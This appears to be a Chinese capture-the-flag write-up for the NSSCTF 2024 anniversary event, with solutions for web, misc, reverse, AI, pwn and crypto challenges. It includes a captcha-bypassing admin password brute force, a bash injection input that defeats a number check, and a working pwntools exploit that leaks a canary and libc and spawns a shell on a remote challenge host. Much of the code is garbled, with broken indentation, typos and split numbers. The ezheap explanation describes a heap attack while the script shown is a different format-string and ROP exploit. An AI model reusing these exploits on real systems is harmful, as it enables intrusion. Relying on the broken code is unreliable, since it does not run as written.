NSSCTF 2024 3周年题解
1315609050541697 发表于 河南 CTF 830浏览 · 2024-08-27 00:48

NSS影院

dirsearch扫描访问网站www.zip中包含了字典

仔细找一下,资讯页面下存在TEST新闻,点击进去

评论区第二页有提示 测试发现是网站的后台页面

管理员用户名在刚刚提交文章的页面是可以看到的,密码需要爆破 但是每次爆破都会刷新一次验证码

摸索很久找到,bp中的xiapao插件来识别 ,当然用自己的也未尝不可 效果: 密码为princess!,管理员的名字为d3f4u1t,

在刚刚文章页面也能看到 登录在后台页面看到flag

The Least Secret(Misc)

打开流量包发现TCP流量包中,有类似[237:"00110110"]这样的数据,一共有392条 用tshark提取出来:

$ tshark -nr message.pcapng -Y "tcp.len>=14" -T fields -e "tcp.segment_data"|xxd -r -p [237:"00110110"][72:"00010110"][90:"11000001"][371:"01010110"] [248:"10011010"][181:"10101111"]

根据题目Least Secret名称想到lsb,因此按照0-391的顺序提取最低位
脚本如下

import re as r
with open("nss/message.txt") as f:
    lines = ''.join(f.readlines())
id = r.findall(r.compile(r "\[(\d+):"), lines)
id = [int(i) for i in id]
content = r.findall(r.compile(r "(\d)\""), lines)
dic = dict(zip(id, content))
for i in range(0, 392):
    print(dic[i], end = ""

#得到0100111001010011010100110100001101010100010001100111101101100011001100 0001101110011001110111001000110100011101000111010100110001011000010111 0100011010010011000001101110011100110101111101010101010111110011010001 1100100011001101011111011100100011001101100001001100010011000101111001 0101111101100001010111110100110001010011010000100101111101101101001101 000011010101110100011001010111001001111101

cyberchef-from binary得到flag

NSSCTF{c0ngr4tu1ati0ns_U_4r3_r3a11y_a_LSB_m45ter}

guess(Misc)

bash按空格展开变量为参数列表,用空格绕过数字检查,输入 1 |$ 1 = 1,[[$random == $input]]相当于[[ $random == 1 || 1 = 1 ]],得到flag

Welcome to NSSCTF challenge! Guess the number between 0 and 999999999. You have 5 attempts. Attempt 1: > 1 || 1 = 1 How did you know?! Flag: NSSCTF{b6170410-110a-4c50-baa1-d32efe64b9b3}

3rdSignin(Re)

看了一下反汇编代码,进行了三次加密,而且很工整,感觉是已知的加密方式 将代码喂给gpt猜测是3des加密 网上随便找个在线解密的,将数据转成base64然后排列组合选一下填充方式啥的就出了。(签到题目

go语言逆向,明显base58编码

找到 main_main() 输入,跟进 main_work() ,其中加密算法在 main_ckw() 中。 从变量名知为base58编码算法,码表:

main_base58=123aBbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ789

尝试输入38长度的字符串: abcdefghijklmnopqrstuvwxyz0123456789AB 则有变码表下的base58编码: base58('abcdefghijklmnopqrstuvwxyz0123456789AB')='FkoKDvjVFCGClzGkSfKwqNa1ihf8eSRKRl jsSf28yxbC99lDWFcY' 动调,经过while后,字符串变为: ```

FlqNH{p]NCHEo~LqZnKxsQe6oon8fUUOWrq{Sg4;}}hJA9mFZJh_
import base64
 import string
 dec = b 'VU4{QM]u9LIEwZxQs|zQp|Pm|}~PPmznH{^~Hs'
 dec = list(dec)
 for i in range(len(dec)):
     dec[i] -= (i % 9)# dec = b '28B'
 dec = list(dec)
 table = b '123aBbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ789'
 table = list(table)
 def serch(a):
     for i in range(len(table)):
     if(table[i] == a):
         return i
 dec = dec[::1]
 a = serch((dec[0]))
 flag = a * 58
 inv = 58
 for i in range(1, len(dec)):
     a = serch((dec[i]))# print(hex(a))
 flag += a
 flag *= 58
 flag //= 58
 # print(flag)
 number = flag
 hex_string = hex(number)[2: ]
 if len(hex_string) % 2 != 0:
     hex_string = '0' + hex_string
 bytes_object = bytes.fromhex(hex_string)
 try:
 result_string = bytes_object.decode('utf-8')
 except UnicodeDecodeError:
     result_string = "无法解码为有效的字符串"
 print(result string)

Cainの秘密图片姬(AI)

编写脚本

import torch
import torch.nn.functional as F
from PIL
import Image
import torchvision.transforms as transforms
from torch
import nn, optim# 定义模型结构
class tanji_model(nn.Module):
    def __init__(self):
    super(tanji_model, self).__init__()
self.classifier = nn.Sequential(
    nn.Linear(31 * 31, 512),
    nn.ReLU(),
    nn.Linear(512, 128),
    nn.ReLU(),
    nn.Linear(128, 1),
)
def forward(self, x):
    x = torch.flatten(x, 1)
y = self.classifier(x)
return torch.sigmoid(y)# 加载模型
tanji = tanji_model().cpu()
tanji.load_state_dict(torch.load('model.pth'))# 创建一个与flag.png大小相同的空白图像
flag_size = (31, 31)
blank_image = torch.zeros((1, 1, * flag_size), requires_grad = True)# 设置优化器
optimizer = optim.Adam([blank_image], lr = 0.1)# 优化图像
for i in range(1000): #运行优化过程
optimizer.zero_grad()# 假设我们想要生成的图像是flag.png
output = tanji(blank_image)
loss = -torch.log(F.sigmoid(output))# 最小化负对数似然
loss.backward()
optimizer.step()# 限制像素值在0到1之间
with torch.no_grad():
    blank_image.clamp_(0, 1)
if i % 100 == 0:
    print(f 'Iteration {i}, Loss: {loss.item()}')# 将优化后的图像转换为PIL图像并显示
optimized_image = transforms.ToPILImage()(blank_image.squeeze(0))
optimized_image.show()# optimized_image.save('optimized_flag.png')

实现了一个简单的神经网络模型,并通过反向传播和梯度下降来优化一张空白图像,使其经过模型预测的结果尽可能接近目标输出(在这个场景下,目标输出默认为1)。

  • 导入所需库:

    • torch: PyTorch库用于构建神经网络。
    • torch.nn.functionaltorch.nn 用于定义网络结构和损失函数。
    • PIL.Image 用于处理图像。
    • torchvision.transforms 用于图像转换。
  • 定义模型结构 (tanji_model):

    • 使用 nn.Module 构建一个全连接神经网络。
    • 网络结构包括三个线性层,两个ReLU激活函数,以及一个Sigmoid激活函数用于输出层。
    • 输入尺寸为31*31,输出为单个数值。
  • 加载预训练模型:

    • 实例化 tanji_model 并加载预先训练好的权重(model.pth)。
  • 创建空白图像:

    • 创建一个31x31大小的空白图像,作为模型输入的起点。
  • 设置优化器:

    • 使用Adam优化器,学习率为0.1,优化的目标是blank_image
  • 优化过程:

    • 迭代1000次,每次迭代包括:
      • 清零梯度。
      • 计算模型输出。
      • 计算损失(这里使用负对数似然损失)。
      • 反向传播计算梯度。
      • 更新参数。
      • 限制图像像素值在0到1之间。
      • 每100次迭代打印当前迭代次数和损失值。

![[f9eb08f736907183c1058cd73b5a1342.png]]

ezheap(pwn)

ibc版本为2.35,且保护全开,所以需要考虑用safe-linking,泄露Key,还需要伪造IO结构体来getshell

IDA静态分析,发现需要输入一个登录密码才可以进行后续流程,根据函数逆出密码,就是正常的堆菜单题,总共有add,dele,show三个功能

可以看到,最多创建32个chunk,且每个chunk的大小不超过0x4FF,在dele函数中有UAF漏洞

常规进行tcache填充泄露libc基址和key值,然后劫持tcahce到_IO_2_1stderr 伪造IO后,再申请回来,触发即可getshell

脚本如下

from pwn
import *
context.arch = 'amd64'
elf = ELF('./attachment')# io = process('./attachment')
io = remote("node9.anna.nssctf.cn", 22560)
io.recvuntil('challenge\n')
io.sendline('%13$p')
canary = io.recvline()
canary = bytes.fromhex(canary.strip().decode()[2: ])[::-1]
rop = ROP(elf)
rop.puts(elf.got["printf"])# printf
rop.main()
payload = flat(
{
    0: rop.chain()
})
payload = b 'A' * 0x28 + canary + p64(0) + payload
io.sendlineafter('>\n', payload)
printf_offset = u64(io.recv(6).ljust(8, b '\x00'))
print(hex(printf_offset))
pop_rdi = 0x401303
retn = 0x4011FC
printf = 0x61c90
str_bin_sh = 0x1b45bd
system = 0x52290
str_bin_sh_offset = printf_offset - printf + str_bin_sh
system_offset = printf_offset - printf + system
payload = p64(retn) + p64(pop_rdi) + p64(str_bin_sh_offset) + p64(
    system_offset) + p64(0)
payload = b 'A' * 0x28 + canary + p64(0) + payload
io.sendline('1')
io.sendline(payload)

io.interactive()

3rdRSA(Crypto)

dlp那块可以在http://factordb.com/分解出⼀些⼩因⼦打dlp拿到101bits的flag,然后在模p3rd下开3次 ⽅根可以拿到模p3rd的flag,然后做crt可以恢复出⼤概800多bits的flag,之后⽤copper恢复即可

import gmpy2
from Crypto.Util.number
import *
nss =
    12906344440039593114055293730612585138239443098643927816059387374
47899367937955180453231789950070626282983097735821762396914598857735266
24534690277511861861603281624682554253545227928169748182762012056234854
53854130964711129380652816665303349814983444572553065966092612759383142
87680950491110565502934893764464531962834139407484531779758520691483059
09986767912740830549027892132105563377310203897753966350743874679104628
32178586298770643099884805129946840915732740992901973696648280733224163
81710324887912887026388549968960080553804202733603345336808331791855248
20732104480666659321861366843400175400593725077960919448688150587388484
016394469887799115548829
c1th =
    3443439218015116091341754485261697169212190467731447339995734752
10832373730349943129753500048291417258222177719376548233848115740658634
94723195053499396034949290411943322317170325058243501037304118017625559
90262813802609977501155691263257166655150157467414939975449198975597577
19391932895591087797358328031313538733597931882272746798701249055195774
62789862633176435874379040514994389592895575023493569300837110208625710
26698157129116690840879518626369064876148393153607799368319589116686674
97021443631954715190641994051949092340600549476183181122209982350928479
32193233297870660035092387998034397222343161862784190790234800655328367
322488558923652724216788
c2nd =
    2607182269911588640317443768516313475146031043011942375047416295
56323949765268357239292945379583433460109218007077807544695622521322867
32912027126148517223288082634421698790465166576963813441720344583686899
95793563352685120784745264814592735479698208625232292101406540095075755
38573875196440852493510557421033249316953115869471240995700898060398702
16697238071610803115855922331846805648596088279568360729476379915462578
32547921898039818720396103470292159465748053549459040177976994334908062
14224945881188562171920996502753796422241634630336119532223661431666322
21880053522719746343468008432800247943278652676597758401587409277257761
64466534809032826708671
p3rd =
    3462502496976226712865130777280962364984362226503269214241357147
12101742690616390874668470814944701283449587946929619886820255605237096
83489711068300641190919761862123159064271694245866486251838863170363349
568878104217
q = int("333" * 33)
PR. < x > = PolynomialRing(GF(p3rd))
f = x ^ 3 - c1th
roots = f.roots()
factors = [3, 37, 67, 199, 397, 21649, 34849, 333667, 513239]
def bsgs(g, y, bound, p):
    m = gmpy2.iroot(bound, 2)[0] + 1
dic = {
    pow(g, m * j, p): j
    for j in range(m)
}
for j in range(m):
    t = pow(g, -j, p) * y % p
if t in dic.keys():
    return dic[t] * m + j
G = Zmod(p3rd)
order = p3rd - 1
m = G(3)
c = G(c2nd)
dlogs = []
for i in factors:
    t = order // i
y = c ^ t
g = m ^ t
dlog = bsgs(m ^ t, c ^ t, i, p3rd)
dlogs.append(int(dlog))
x = crt(dlogs, factors)
c1 = []
for i in range(3):
    c1.append(crt([int(roots[i][0]), x], [p3rd, prod(factors)]))
PR. < t > = PolynomialRing(Zmod(nss //p3rd))
            for i in range(3):
            f = (t * (p3rd * prod(factors)) + c1[i]) ^ 3 - c1th % (
                nss //p3rd)
                f = f.monic() rt = f.small_roots(X = 2 ^ 380, beta =
                    1, epsilon = 0.05) if rt:
                m = int(rt[0]) * (p3rd * prod(factors)) + c1[i] print(
                    long_to_bytes(m))
0 条评论
某人
表情
可输入 255